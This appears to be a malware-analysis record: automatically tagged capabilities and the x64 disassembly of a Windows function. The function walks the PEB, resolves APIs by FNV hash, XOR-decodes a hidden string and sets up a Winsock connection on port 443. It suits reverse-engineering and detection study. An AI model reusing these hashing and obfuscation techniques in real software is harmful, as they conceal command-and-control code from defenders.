Function at 0x140001000
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Encode data using xor
Get kernel32 base address
Hash data using fnv
Initialize winsock library
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x1e8
mov rax, qword [0x14013aa80]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
lea rsi, [rsp + 0x40]
mov cx, 0x202
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, 1
test eax, eax
jne 0x1400012c0
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
movsxd rcx, dword [rax + 0x3c]
mov ecx, dword [rax + rcx + 0x88]
mov edx, dword [rax + rcx + 0x18]
mov r10d, dword [0x140145004]
lea r8, [rax + 2]
lea r9, [0x140145004]
jmp 0x14000109b
xor r10d, r10d
test edx, edx
je 0x14000112c
dec edx
test r10d, r10d
je 0x140001090
mov edi, dword [rax + rcx + 0x20]
add rdi, rax
mov r11d, edx
mov ebx, dword [rdi + r11*4]
add rbx, r8
mov ebp, r10d
mov rdi, r9
nop dword [rax]
mov r12d, 0x811c9dc5
mov r14, rbx
nop dword [rax]
mov r15d, r12d
movsx r13d, byte [r14]
inc r14
xor r12d, r13d
imul r12d, r12d, 0x1000193
test r13d, r13d
jne 0x1400010d0
cmp r15d, ebp
je 0x140001100
mov ebp, dword [rdi + 4]
add rdi, 4
test ebp, ebp
jne 0x1400010c0
jmp 0x140001093
mov r10d, dword [rax + rcx + 0x1c]
mov ebx, dword [rax + rcx + 0x24]
add r10, rax
add rbx, rax
movzx r11d, word [rbx + r11*2]
mov r10d, dword [r10 + r11*4]
mov r10d, dword [rax + r10 + 4]
mov dword [rdi], r10d
mov r10d, dword [0x140145004]
jmp 0x140001093
movabs rax, 0x8ee9f552fbcb7275
mov qword [rsp + 0x20], rax
movabs rax, 0x27a16b2abbe0db07
mov qword [rsp + 0x28], rax
movabs rax, 0xbda55fbd1ca0bb58
mov qword [rsp + 0x30], rax
movabs rax, 0xd045fe1c88786860
mov qword [rsp + 0x38], rax
movabs rcx, 0xe5c787379faa1d19
mov qword [rsp + 0x40], rcx
movabs rcx, 0x53c00e42d889ac6e
mov qword [rsp + 0x48], rcx
movabs rcx, 0xbda55fc979ce952b
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x20]
xorps xmm0, xmmword [rsi]
movaps xmmword [rsp + 0x20], xmm0
movaps xmm0, xmmword [rsp + 0x30]
xorps xmm0, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x30], xmm0
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x20]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
test rax, rax
js 0x1400012e6
mov rsi, rax
cmp rax, 0xf
ja 0x140001207
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x20]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rsp
add rsi, 0x40
jmp 0x140001269
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, socket
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x14000123b
lea rcx, [rbx + 0x28]
call fcn.1400d1e28
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001247
lea rcx, [rbx + 1]
call fcn.1400d1e28
mov rdi, rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rbx
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
add rsi, rdi
mov byte [rsi], 0
lea rcx, [rsp + 0x40]
mov edx, 0x1bb
call fcn.140001fb0
mov rax, qword [rsp + 0x58]
cmp rax, 0x10
jb 0x1400012b8
mov rcx, qword [rsp + 0x40]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400012b3
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400012eb
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.1400d1e6c
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor edi, edi
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.1400d2000
mov eax, edi
add rsp, 0x1e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.140001300
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3